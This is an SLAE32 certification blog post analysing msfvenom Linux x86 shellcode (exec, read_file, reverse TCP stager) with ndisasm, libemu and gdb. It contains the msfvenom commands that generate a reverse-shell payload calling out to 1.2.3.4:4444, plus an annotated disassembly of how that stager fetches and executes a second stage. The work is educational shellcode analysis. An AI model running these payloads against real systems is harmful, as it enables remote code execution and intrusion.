SLAE32 Assignment 5 - msfvenom shellcode analysis

shellcode will be analyzed with ndisasm and libemu if possible, then with gdb to someway follow the flow. i choose to analyze both basic commands and one reverse shell, the command i used to create payloads are:

msfvenom -p linux/x86/exec CMD=/usr/bin/id -f raw > exec.raw
msfvenom -p linux/x86/exec CMD=/usr/bin/id -f c > exec.c
msfvenom -p linux/x86/exec CMD=/usr/bin/id > exec
chmod + exec
sctest -vvv -S -s 99999 -G exec.dot < exec
dot -Tjpg exec.dot > exec.jpg


msfvenom -p linux/x86/read_file PATH=/etc/hosts -f c > readfile.c
msfvenom -p linux/x86/read_file PATH=/etc/hosts -f raw > readfile.raw
msfvenom -p linux/x86/read_file PATH=/etc/hosts > readfile
chmod +x readfile
sctest -vvv -S -s 99999 -G readfile.dot < readfile
dot -Tjpg readfile.dot > readfile.jpg


msfvenom -p linux/x86/shell/reverse_tcp_uuid LHOST=1.2.3.4 LPORT=4444 -f c > reverse.c
msfvenom -p linux/x86/shell/reverse_tcp_uuid LHOST=1.2.3.4 LPORT=4444 -f raw > reverse.raw
msfvenom -p linux/x86/shell/reverse_tcp_uuid LHOST=1.2.3.4 LPORT=4444 > reverse
chmod +x reverse
sctest -vvv -S -s 99999 -G reverse.dot < reverse
dot -Tjpg reverse.dot > reverse.jpg

because all the code is 32bit, i will use ndisasm -u to disasm. about gdb, i choose to include a C file with msfvenom buf[] and recompile every time. to break when shellcode is runt, you can b *&buf

exec

ndisasm -u exec output and comments:

00000000  6A0B              push byte +0xb                             ;
00000002  58                pop eax                                    ; just place 0xb in eax
00000003  99                cdq                                        ; because eax is not negative, fills edx with 0
00000004  52                push edx                                   ; push 0x0 to esp (string terminator maybe?)
00000005  66682D63          push word 0x632d                           ; push -c to the stack
00000009  89E7              mov edi,esp                                ; move esp pointer to edi, i guess this will be
                                                                       ; an execve argument
0000000B  682F736800        push dword 0x68732f                        ; push hs/ (/sh)
00000010  682F62696E        push dword 0x6e69622f                      ; push nib/ (/bin/)
00000015  89E3              mov ebx,esp                                ; move esp pointer to ebx, esp holds: /bin/sh
00000017  52                push edx                                   ; push 0x0 because edx was nulled at 0x3
00000018  E80C000000        call 0x29                                  ; i liked a lot this call because it jumps to a
                                                                       ; non aligned code, fooling ndisasm and gdb
0000001D  2F                das                                        ; from here, useless junk until 0x29
0000001E  7573              jnz 0x93
00000020  722F              jc 0x51
00000022  62696E            bound ebp,[ecx+0x6e]
00000025  2F                das
00000026  696400575389E1CD  imul esp,[eax+eax+0x57],dword 0xcde18953
0000002E  80                db 0x80

moving to gdb, i set 05_shellcode.c to include exec.c, compiled and runt with b *&buf
i know that the call is at 0x29 from buf, so i take buf starting address in gdb and add 0x29: “offending” code is at 0x56559069 because gdb/GEF can also print instruction, i just use x/i to see the code

gef➤  x/4i 0x56559069
   0x56559069 <buf+41>: push   edi
   0x5655906a <buf+42>: push   ebx
   0x5655906b <buf+43>: mov    ecx,esp
   0x5655906d <buf+45>: int    0x80
gef➤

i already know something about my registers:

  • eax => 0xb (execve syscall id)
  • ebx => pointer to /bin/sh
  • edi => pointer to -c, which is the arg
  • esp => has on top /usr/bin/id

i see that edi is pushed, so esp will be: -c /usr/bin/id ebx is pushed again, to have actually /bin/sh -c /usr/bin/id pointer to shell is moved to ecx, and syscall is executed

at first you could think libemu is useless to analyze this simple code because there is just one execve and some basic reg manipulation, but because she emulates the code, she’s not fooled with that call 0x29 and i’ve could seen the right flow from call to push/push/mov/execve

both reading exec.c and disassembled code, we can see that there are a lot of null bytes. this code will surely need optimization if used during an active exploitation.

readfile

libemu wasn’t able to emulate anything here, i’ll dig as extra mile in the near future. back to gdb/ndisasm, this is ndisasm -u readfile output with some comment ordered to follow the flow easily:

00000000  EB36              jmp short 0x38          ; 1) cool, starting with a jump will surely simplify analysis...
00000002  B805000000        mov eax,0x5             ; 3) eax => 0x5 , syscall open call
00000007  5B                pop ebx                 ; 4) gdb i'll confirm this, i guess ebx will hold a filename
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80                ; 5) do the actual call
0000000C  89C3              mov ebx,eax             ; 6) because syscall place retcode in eax, and for open it's the
                                                    ; fd, he saves it to ebx
0000000E  B803000000        mov eax,0x3             ; 7) eax => 0x3 , if it will be used as a syscall would be read
00000013  89E7              mov edi,esp             ;
00000015  89F9              mov ecx,edi             ; 9) read wants a fd as input and a place to store read data
00000017  BA00100000        mov edx,0x1000          ;10) how much data to read
0000001C  CD80              int 0x80                ; 8) ok it's the syscall read
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80                ;11) fast forward, do a syscall write to STDOUT
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80                ;12) clean exit
00000038  E8C5FFFFFF        call 0x2                ; 2) ok, this time the code is aligned and i see what's going on
                                                    ; looks like jmp-call-pop technique
0000003D  2F                das                     ;13) by concatenating hex from here we could see read filename
                                                    ; 2F6574632F686F737473 => /etc/hosts
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  686F737473        push dword 0x7374736f
00000047  00                db 0x00

on gdb, i want to confirm that the jmp-call-pop will return actually /etc/hosts:

  • gdb ./readfile
  • b *&buf
  • r
  • c
  • n
  • si and after → 0x56559047 <buf+7> pop ebx
    we can see that now
    $ebx : 0x5655907d → “/etc/hosts”

both reading readfile.c and disassembled code, we can see that there are a lot of null bytes. even if it’s uncommon to read a file after an active exploitation, this code would need optimization to remove null bytes.

reverse

as you can see in reverse.jpg , the flow is quite basic: create a socket, connect, do something. i already developed my own revshell and i think i’m familiar with the flow, so fastly to ndisasm:

00000000  6A0A              push byte +0xa
00000002  5E                pop esi                  ; put 0xa in esi, will use it to loop for reconnection in 0x2F
00000003  31DB              xor ebx,ebx
00000005  F7E3              mul ebx                  ; multiply ebx and eax, and put result in eax+edx. result in
                                                     ; zeroing both eax and edx, because ebx has been zeroed in 0x3
00000007  53                push ebx
00000008  43                inc ebx
00000009  53                push ebx
0000000A  6A02              push byte +0x2           ; i remember doing almost the same 4 instruction to have 0,1,2
                                                     ; on the stack, which is common arg for a tcp reverse shell
0000000C  B066              mov al,0x66              ; and here we have socketcall socket
0000000E  89E1              mov ecx,esp              ; pointer to socket arg in ecx
00000010  CD80              int 0x80                 ; create the socket

00000012  97                xchg eax,edi             ; save socket fd in edi
00000013  5B                pop ebx                  ; top of stack is 0x2, put in ebx
00000014  6801020304        push dword 0x4030201     ; for connect, we need an ip address, translated it's 1.2.3.4
00000019  680200115C        push dword 0x5c110002    ; and a port, which is 0x5c11 => 0x115c => 4444
                                                     ; this push breaks the nullbyte requirement but it's cute because
                                                     ; puts both port and 0x2 to have the struct full
0000001E  89E1              mov ecx,esp              ; put the pointer in ecx
00000020  6A66              push byte +0x66
00000022  58                pop eax                  ; in eax syscall for socketcall 0x66
00000023  50                push eax                 ; start preparing next syscall arg with address len
00000024  51                push ecx                 ; pointer to address struct 
00000025  57                push edi                 ; saved socket fd
00000026  89E1              mov ecx,esp              ; have pointer for
the whole struct in ecx
00000028  43                inc ebx                  ; ebx was 2, we
need 3 for the connect call
00000029  CD80              int 0x80                 ; do the connect

0000002B  85C0              test eax,eax             ; 0x29 return will be in eax, if 0 connection has been completed
                                                    ; test eax,eax sets SIGN flag if eax is negative (most significant
                                                     ; bit is >7f). will set SIGN to true if connect fails
0000002D  7944              jns 0x73                 ; if SIGN flag is not set, jumps to 0x73 which next "logic" step

0000002F  4E                dec esi                  ; if connection fails, try "esi times", when esi is 0xa (10)
00000030  7468              jz 0x9a                  ; as soon as esi is 0, jump to neat exit

00000032  68A2000000        push dword 0xa2          ; this will sleep 5 secs before to try again
00000037  58                pop eax
00000038  6A00              push byte +0x0
0000003A  6A05              push byte +0x5
0000003C  89E3              mov ebx,esp
0000003E  31C9              xor ecx,ecx
00000040  CD80              int 0x80

00000042  85C0              test eax,eax             ; eax is 0 because of nanosleep, so next jmp should always occurs
                                                     ; or not just if nanosleep fails someway
00000044  79BD              jns 0x3                  ; jmp to buf+3, which is almost the start of the program
00000046  EB52              jmp short 0x9a           ; jmp to neat exit again

00000048  53                push ebx                 ; i bet this code won't be never reached
00000049  51                push ecx
0000004A  6A00              push byte +0x0
0000004C  6A10              push byte +0x10
0000004E  E810000000        call 0x63
00000053  91                xchg eax,ecx
00000054  21BDE454BC04      and [ebp+0x4bc54e4],edi
0000005A  6BA3C7A5C6FEA9    imul esp,[ebx-0x1395a39],byte -0x57
00000061  96                xchg eax,esi
00000062  2457              and al,0x57
00000064  89E1              mov ecx,esp
00000066  6A09              push byte +0x9
00000068  5B                pop ebx
00000069  6A66              push byte +0x66
0000006B  58                pop eax
0000006C  CD80              int 0x80
0000006E  83C410            add esp,byte +0x10
00000071  59                pop ecx
00000072  5B                pop ebx                  ; end of never-reached code?

00000073  B207              mov dl,0x7               ; 0x7 to dl doesn't say anything itself, seeing next syscall at
                                                     ; line 0x82, which is mprotect, we see that 0x7 will be "prot"
                                                     ; reading man mprotect we see that 0x7 means rwx
00000075  B900100000        mov ecx,0x1000           ; and ecx will hold size len, so make a full page rwx
0000007A  89E3              mov ebx,esp              ; move esp pointer to ebx, so mprotect knowns where to operate
0000007C  C1EB0C            shr ebx,byte 0xc         ; made useless by next one
0000007F  C1E30C            shl ebx,byte 0xc         ; makes useless prev one
00000082  B07D              mov al,0x7d              ; as said, mprotect syscall id
00000084  CD80              int 0x80

00000086  85C0              test eax,eax             ; like at 0x2B
00000088  7810              js 0x9a                  ; but jumps to 0x9a (exit) if mprotect returns a negative number
                                                     ; therefore an error
0000008A  5B                pop ebx                  ; reading backward, se see that esp has on top socketfd: put in
                                                     ; ebx. we can see it's a read syscall so we expect it will read
                                                     ; from the socket itself
0000008B  89E1              mov ecx,esp              ; put esp to ecx.  read needs a pointer to a writable location,
                                                     ; this means it will write to esp what she reads from the socket
0000008D  99                cdq                      ; eax is zero, so zero also edx to read unlimited bytes
0000008E  B60C              mov dh,0xc               ; edx will be 0xc
00000090  B003              mov al,0x3               ; read syscall
00000092  CD80              int 0x80

00000094  85C0              test eax,eax             ; because eax holds retcode, if zero sign flag will be unset if
                                                     ; read doesn't return any error
00000096  7802              js 0x9a                  ; exit if any error
00000098  FFE1              jmp ecx                  ; jmp to received shellcode, executable because of mprotect

0000009A  B801000000        mov eax,0x1              ; neat exit
0000009F  BB01000000        mov ebx,0x1
000000A4  CD80              int 0x80

we see that libemu missed from the mprotect call afterwards, i bet it’s because of self protection.

SLAE-1037 This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Written on August 8, 2019